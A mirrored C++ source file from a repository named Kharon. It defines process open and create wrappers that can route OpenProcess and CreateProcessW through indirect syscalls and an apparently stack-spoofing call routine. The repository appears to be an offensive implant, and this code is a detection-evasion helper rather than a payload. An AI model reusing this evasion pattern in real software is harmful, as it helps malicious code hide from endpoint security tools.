mirror of
https://github.com/entropy-z/Kharon
synced 2026-06-06 15:34:34 +00:00
51 lines
1.7 KiB
C++
51 lines
1.7 KiB
C++
#include <Kharon.h>
|
|
|
|
auto DECLFN Process::Open(
|
|
_In_ ULONG RightsAccess,
|
|
_In_ BOOL InheritHandle,
|
|
_In_ ULONG ProcessID
|
|
) -> HANDLE {
|
|
const UINT32 Flags = Self->Config.Syscall;
|
|
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
|
HANDLE Handle = nullptr;
|
|
CLIENT_ID ClientID = { .UniqueProcess = UlongToHandle( ProcessID ) };
|
|
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr) };
|
|
|
|
if ( ! Flags ) return Self->Krnl32.OpenProcess( RightsAccess, InheritHandle, ProcessID );
|
|
|
|
UPTR Address = SYS_ADDR( Sys::OpenProc );
|
|
UPTR ssn = SYS_SSN( Sys::OpenProc );
|
|
|
|
Status = Self->Spf->Call(
|
|
Address, ssn, (UPTR)&Handle, (UPTR)RightsAccess,
|
|
(UPTR)&ObjAttr, (UPTR)&ClientID
|
|
);
|
|
|
|
Self->Usf->NtStatusToError( Status );
|
|
|
|
return Handle;
|
|
}
|
|
|
|
auto Process::Create(
|
|
_In_ WCHAR* Application,
|
|
_In_ WCHAR* Command,
|
|
_In_ ULONG Flags,
|
|
_In_ LPSECURITY_ATTRIBUTES PsAttributes,
|
|
_In_ LPSECURITY_ATTRIBUTES ThreadAttributes,
|
|
_In_ BOOL Inherit,
|
|
_In_ PVOID Env,
|
|
_In_ WCHAR* CurrentDir,
|
|
_In_ STARTUPINFOW* StartupInfo,
|
|
_Out_ PROCESS_INFORMATION* PsInfo
|
|
) -> BOOL {
|
|
if ( Self->Config.Syscall ) {
|
|
return Self->Spf->Call(
|
|
(UPTR)Self->Krnl32.CreateProcessW, 0, (UPTR)Application,
|
|
(UPTR)Command, (UPTR)PsAttributes, (UPTR)ThreadAttributes, Inherit,
|
|
Flags, (UPTR)Env, (UPTR)CurrentDir, (UPTR)StartupInfo, (UPTR)PsInfo
|
|
);
|
|
}
|
|
|
|
return Self->Krnl32.CreateProcessW( Application, Command, PsAttributes, ThreadAttributes, Inherit, Flags, Env, CurrentDir, StartupInfo, PsInfo );
|
|
}
|